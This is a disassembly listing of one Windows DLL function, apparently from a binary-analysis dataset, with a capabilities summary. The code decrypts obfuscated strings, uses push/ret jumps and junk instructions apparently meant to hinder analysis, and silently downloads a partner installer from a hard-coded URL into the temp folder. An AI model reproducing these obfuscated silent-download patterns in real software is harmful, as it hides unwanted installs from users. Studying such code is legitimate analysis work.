Function at 0x1004b7e0
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10097c14
mov eax, dword fs:[0]
push eax
sub esp, 0x6a8
mov eax, dword [0x100b0380]
xor eax, ebp
mov dword [ebp - 0x5c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x51c], 0
mov eax, dword [ebp + 8]
push eax
mov ecx, 0x1009edfc
call fcn.10013050
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x51c]
or ecx, 1
mov dword [ebp - 0x51c], ecx
push 4
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x18], eax
push 4
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], edx
call fcn.10079c4e
cdq
mov ecx, 0x65
idiv ecx
add edx, 2
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
call fcn.10079c4e
cdq
mov ecx, 0x65
idiv ecx
add edx, 0x200
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
cmp dword [ebp + 0x10], 4
je 0x1004b8dc
cmp dword [ebp + 0x10], 5
je 0x1004b8dc
cmp dword [ebp + 0x10], 6
je 0x1004b8dc
cmp dword [ebp + 0x10], 0xa
je 0x1004b8dc
cmp dword [ebp + 0x10], 0xb
je 0x1004b8dc
cmp dword [ebp + 0x10], 8
jne 0x1004bf2f
lea ecx, [ebp - 0x44]
push ecx
mov ecx, 0x1009edfc
call fcn.10013050
mov dword [ebp - 4], 1
lea edx, [ebp - 0x3c]
push edx
mov ecx, 0x1009edfc
call fcn.10013050
mov byte [ebp - 4], 2
lea eax, [ebp - 0x40]
push eax
mov ecx, 0x1009edfc
call fcn.10013050
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x38]
push ecx
mov ecx, 0x1009edfc
call fcn.10013050
mov byte [ebp - 4], 4
mov edx, dword [ebp + 0xc]
push edx
push 0x100a03e4
lea edi, [ebp - 0x3c]
call fcn.1001b8b0
add esp, 8
mov eax, dword [0x100d9234]
push eax
push 0x100a03e4
lea edi, [ebp - 0x40]
call fcn.1001b8b0
add esp, 8
mov ecx, dword [ebp + 0x14]
push ecx
push 0x100a03e4
lea edi, [ebp - 0x38]
call fcn.1001b8b0
add esp, 8
cmp dword [ebp + 0x10], 5
jne 0x1004b9c6
push 0x44
mov ecx, 0xc76ebac
mov eax, 0x7e36640e
mov edi, 0xc
lea esi, [ebp - 0x498]
call fcn.10057130
mov dword [ebp - 0x604], eax
mov edx, dword [ebp - 0x604]
mov dword [ebp - 0x608], edx
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x608]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x498]
call fcn.10057150
jmp 0x1004bac2
cmp dword [ebp + 0x10], 4
jne 0x1004ba27
push 0x6c
mov ecx, 0x6aa5ccbe
mov eax, 0x2d4dd489
mov edi, 0xc
lea esi, [ebp - 0x4a0]
call fcn.10057130
mov dword [ebp - 0x60c], eax
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x610], eax
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x610]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4a0]
call fcn.10057150
jmp 0x1004bac2
cmp dword [ebp + 0x10], 6
jne 0x1004ba85
push 0x15
mov ecx, 0x34f8e8fe
mov eax, 0x1277629b
mov edi, 0xc
lea esi, [ebp - 0x4a8]
call fcn.10057130
mov dword [ebp - 0x614], eax
mov ecx, dword [ebp - 0x614]
mov dword [ebp - 0x618], ecx
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x618]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4a8]
call fcn.10057150
jmp 0x1004bac2
cmp dword [ebp + 0x10], 0xa
jne 0x1004ba9a
mov edx, str._CallFun103
lea edi, [ebp - 0x44]
call fcn.1002c390
jmp 0x1004bac2
cmp dword [ebp + 0x10], 0xb
jne 0x1004baaf
mov edx, str._anti103
lea edi, [ebp - 0x44]
call fcn.1002c390
jmp 0x1004bac2
cmp dword [ebp + 0x10], 8
jne 0x1004bac2
mov edx, str._mkdir103
lea edi, [ebp - 0x44]
call fcn.1002c390
push 0x28
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x34], 0
cmp dword [ebp - 0x34], 0xa
jge 0x1004c443
mov eax, dword [ebp - 0x34]
imul eax, eax, 0x12
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x14]
mov dword [edx + ecx*4], eax
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
jmp 0x1004badd
mov eax, eax
mov edx, dword [ebp - 0x14]
push edx
call fcn.10079c70
add esp, 4
push 0x15
mov ecx, 0xb6f9bad4
mov eax, 0x5377cb6a
mov edi, 9
lea esi, [ebp - 0x4b0]
call fcn.10057130
mov dword [ebp - 0x61c], eax
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x620], eax
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x620]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4b0]
call fcn.10057150
lea eax, [ebp - 0x3c]
lea esi, [ebp - 0x44]
call fcn.1001dac0
push 0x9e
mov ecx, 0x7045f6b0
mov eax, 0x301de94e
mov edi, 0xa
lea esi, [ebp - 0x4b8]
call fcn.10057130
mov dword [ebp - 0x624], eax
mov ecx, dword [ebp - 0x624]
mov dword [ebp - 0x628], ecx
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x628]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4b8]
call fcn.10057150
push 1
push ecx
mov edx, esp
mov dword [ebp - 0x4bc], esp
push edx
mov ecx, 0x100dd3c8
call fcn.10013050
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x630], eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x4c0]
push ecx
mov byte [ebp - 4], 4
call fcn.1001d910
add esp, 0xc
mov dword [ebp - 0x634], eax
mov edx, dword [ebp - 0x634]
mov dword [ebp - 0x638], edx
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x638]
lea esi, [ebp - 0x44]
call fcn.1001dac0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x4c0]
call fcn.10013100
push 0x84
mov ecx, 0xe16c2322
mov eax, 0xe8b0ff7b
mov edi, 9
lea esi, [ebp - 0x4c8]
call fcn.10057130
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x640], eax
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x640]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4c8]
call fcn.10057150
lea eax, [ebp - 0x40]
lea esi, [ebp - 0x44]
call fcn.1001dac0
push 0x35
mov ecx, 0x29aab900
mov eax, 0xcd04a60
mov edi, 6
lea esi, [ebp - 0x4d0]
call fcn.10057130
mov dword [ebp - 0x644], eax
mov ecx, dword [ebp - 0x644]
mov dword [ebp - 0x648], ecx
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x648]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4d0]
call fcn.10057150
push 1
push ecx
mov edx, esp
mov dword [ebp - 0x4d4], esp
push edx
mov ecx, dword [ebp + 0x18]
call fcn.10013050
mov dword [ebp - 0x64c], eax
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x650], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x4d8]
push ecx
mov byte [ebp - 4], 4
call fcn.1001d910
add esp, 0xc
mov dword [ebp - 0x654], eax
mov edx, dword [ebp - 0x654]
mov dword [ebp - 0x658], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x658]
lea esi, [ebp - 0x44]
call fcn.1001dac0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x4d8]
call fcn.10013100
push 0xc3
mov ecx, 0x49e6ffae
mov eax, 0x1cee6daf
mov edi, 8
lea esi, [ebp - 0x4e0]
call fcn.10057130
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x660], eax
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x660]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x44]
call fcn.1002c390
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4e0]
call fcn.10057150
lea eax, [ebp - 0x38]
lea esi, [ebp - 0x44]
call fcn.1001dac0
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x4e4], esp
lea edx, [ebp - 0x44]
push edx
push ecx
call fcn.10013410
mov dword [ebp - 0x664], eax
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x668], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x4e8]
push ecx
mov byte [ebp - 4], 4
call fcn.1001d910
add esp, 0xc
mov dword [ebp - 0x66c], eax
mov edx, dword [ebp - 0x66c]
mov dword [ebp - 0x670], edx
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x670]
mov ecx, dword [ebp + 8]
call fcn.1001dab0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x4e8]
call fcn.10013100
push edi
push edi
mov edi, 0x1004bef6
push edi
ret
cmp dword [ebp - 0x34], 0xa
jge 0x1004beaa
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x30], edx
jmp 0x1004c456
mov eax, dword [ebp - 0x30]
cdq
idiv dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x18]
cmp dword [edx], 0x200
jne 0x1004bb10
push ebx
push esi
push edi
mov ebx, dword fs:[0x1c]
push 0x3b
mov esi, dword [ebx + 0x124]
push dword [ebx]
mov dword [ecx + 0x134], edx
test byte [esi + 0x2c], 0xff
mov dword [esi + 0x134], ebp
mov ebx, dword [ebp + 0x60]
mov edi, dword [ebp + 0x68]
pop esi
pop edi
pop ebx
ret
lea eax, [ebp - 0x54]
push eax
mov ecx, 0x1009edfc
call fcn.10013050
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x48]
push ecx
mov ecx, 0x1009edfc
call fcn.10013050
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x58]
push edx
mov ecx, 0x1009edfc
call fcn.10013050
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x4c]
push eax
mov ecx, 0x1009edfc
call fcn.10013050
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x50]
push ecx
mov ecx, dword [ebp + 0x18]
call fcn.10013050
mov byte [ebp - 4], 0x17
mov edx, dword [ebp + 0xc]
push edx
push 0x100a03e4
lea edi, [ebp - 0x48]
call fcn.1001b8b0
add esp, 8
mov eax, dword [ebp + 0x10]
push eax
push 0x100a03e4
lea edi, [ebp - 0x58]
call fcn.1001b8b0
add esp, 8
mov ecx, dword [0x100d9234]
push ecx
push 0x100a03e4
lea edi, [ebp - 0x4c]
call fcn.1001b8b0
add esp, 8
push 0xf
mov ecx, 0x128f76fe
mov eax, 0x142a925
mov edi, 8
lea esi, [ebp - 0x4f0]
call fcn.10057130
mov dword [ebp - 0x674], eax
mov edx, dword [ebp - 0x674]
mov dword [ebp - 0x678], edx
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0x678]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x54]
call fcn.1002c390
mov byte [ebp - 4], 0x17
lea esi, [ebp - 0x4f0]
call fcn.10057150
lea eax, [ebp - 0x50]
lea esi, [ebp - 0x54]
call fcn.1001dac0
push 0x15
mov ecx, 0xb6f9bad4
mov eax, 0x5377cb6a
mov edi, 9
lea esi, [ebp - 0x4f8]
call fcn.10057130
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x680], eax
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0x680]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x54]
call fcn.1002c390
mov byte [ebp - 4], 0x17
lea esi, [ebp - 0x4f8]
call fcn.10057150
lea eax, [ebp - 0x48]
lea esi, [ebp - 0x54]
call fcn.1001dac0
push 2
mov ecx, 0xa63b7f30
mov eax, 0x4b18ad34
mov edi, 0xa
lea esi, [ebp - 0x500]
call fcn.10057130
mov dword [ebp - 0x684], eax
mov ecx, dword [ebp - 0x684]
mov dword [ebp - 0x688], ecx
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x688]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x54]
call fcn.1002c390
mov byte [ebp - 4], 0x17
lea esi, [ebp - 0x500]
call fcn.10057150
lea eax, [ebp - 0x58]
lea esi, [ebp - 0x54]
call fcn.1001dac0
push 0x84
mov ecx, 0xe16c2322
mov eax, 0xe8b0ff7b
mov edi, 9
lea esi, [ebp - 0x508]
call fcn.10057130
mov dword [ebp - 0x68c], eax
mov edx, dword [ebp - 0x68c]
mov dword [ebp - 0x690], edx
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x690]
call fcn.10057100
mov edx, eax
lea edi, [ebp - 0x54]
call fcn.1002c390
mov byte [ebp - 4], 0x17
lea esi, [ebp - 0x508]
call fcn.10057150
lea eax, [ebp - 0x4c]
lea esi, [ebp - 0x54]
call fcn.1001dac0
cmp dword [0x100dee44], 0
jne 0x1004c3c2
mov dword [ebp - 0x280], 8
xor eax, eax
mov word [ebp - 0x70], ax
xor ecx, ecx
mov dword [ebp - 0x6e], ecx
mov dword [ebp - 0x6a], ecx
mov dword [ebp - 0x66], ecx
mov dword [ebp - 0x62], ecx
xor edx, edx
mov word [ebp - 0x48c], dx
push 0x206
push 0
lea eax, [ebp - 0x48a]
push eax
call fcn.1007dcf0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x27c], cx
push 0x206
push 0
lea edx, [ebp - 0x27a]
push edx
call fcn.1007dcf0
add esp, 0xc
cmp dword [ebp + 0x10], 0
jne 0x1004c203
mov esi, 8
lea edi, [ebp - 0x70]
call fcn.100484d0
call fcn.10079c4e
xor edx, edx
mov ecx, 8
div ecx
mov eax, 0x31
mov word [ebp + edx*2 - 0x70], ax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x70]
push edx
push str._s___d__3f696e7374616c6c6572__68616f2e3336302e636e__0992.exe
lea eax, [ebp - 0x48c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x1004c24b
cmp dword [ebp + 0x10], 2
jne 0x1004c24b
mov esi, 8
lea edi, [ebp - 0x70]
call fcn.100484d0
call fcn.10079c4e
xor edx, edx
mov ecx, 8
div ecx
mov eax, 0x33
mov word [ebp + edx*2 - 0x70], ax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x70]
push edx
push str._s___d__3f696e7374616c6c6572__68616f2e3336302e636e__0992.exe
lea eax, [ebp - 0x48c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [ebp + 0x10], 0
je 0x1004c25b
cmp dword [ebp + 0x10], 2
jne 0x1004c3c2
lea ecx, [ebp - 0x27c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x48c]
push edx
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1004c2a5
lea eax, [ebp - 0x27c]
call fcn.10025aa0
test eax, eax
jne 0x1004c33a
lea edx, [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
push 3
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x50c], esp
lea edx, [ebp - 0x27c]
call fcn.10013330
mov dword [ebp - 0x694], eax
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0x698], eax
mov byte [ebp - 4], 0x1c
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x510], esp
mov edx, str.http:__dl2.360safe.com_partner_installer.exe
call fcn.10013330
mov dword [ebp - 0x69c], eax
mov ecx, dword [ebp - 0x69c]
mov dword [ebp - 0x6a0], ecx
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x17
call fcn.10037610
add esp, 0x40
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0
jne 0x1004c33a
lea edx, [ebp - 0x27c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1004c3ca
lea eax, [ebp - 0x27c]
call fcn.10025aa0
test eax, eax
jne 0x1004c358
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1004c3ca
call fcn.10079c4e
cdq
mov ecx, 3
idiv ecx
add edx, 1
shl edx, 0xa
shl edx, 0xa
push edx
lea edx, [ebp - 0x27c]
push edx
call fcn.1004c8e0
add esp, 8
test eax, eax
je 0x1004c3c2
mov edx, str.__InstName
lea edi, [ebp - 0x54]
call fcn.1002c390
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x48c]
call fcn.10013050
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x490]
lea esi, [ebp - 0x54]
call fcn.1001dac0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x490]
call fcn.10013100
xor ecx, ecx
jne 0x1004c150
push 1
push ecx
mov edx, esp
mov dword [ebp - 0x514], esp
lea eax, [ebp - 0x54]
push eax
push edx
call fcn.10013410
mov dword [ebp - 0x6a8], eax
mov ecx, dword [ebp - 0x6a8]
mov dword [ebp - 0x6ac], ecx
mov byte [ebp - 4], 0x1f
lea edx, [ebp - 0x518]
push edx
mov byte [ebp - 4], 0x17
call fcn.1001d910
add esp, 0xc
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6b4], eax
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x6b4]
mov ecx, dword [ebp + 8]
call fcn.1001dab0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x518]
call fcn.10013100
push ebx
mov ebx, 0x1004c470
push ebx
ret
mov dword [ebp - 0x30], 0xa
mov dword [ebp - 0x34], 0
jmp 0x1004be90
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov esi, dword [ebp - 0x18]
mov edi, esi
cmp dword [edi], 0x200
jle 0x1004be90
pop ebx
mov eax, eax
mov edi, edi
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x50]
call fcn.10013100
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x4c]
call fcn.10013100
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x58]
call fcn.10013100
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x48]
call fcn.10013100
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x54]
call fcn.10013100
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.10079c70
add esp, 4
mov edx, dword [ebp - 0x28]
push edx
call fcn.10079c70
add esp, 4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x5c]
xor ecx, ebp
call fcn.10079a05
mov esp, ebp
pop ebp
ret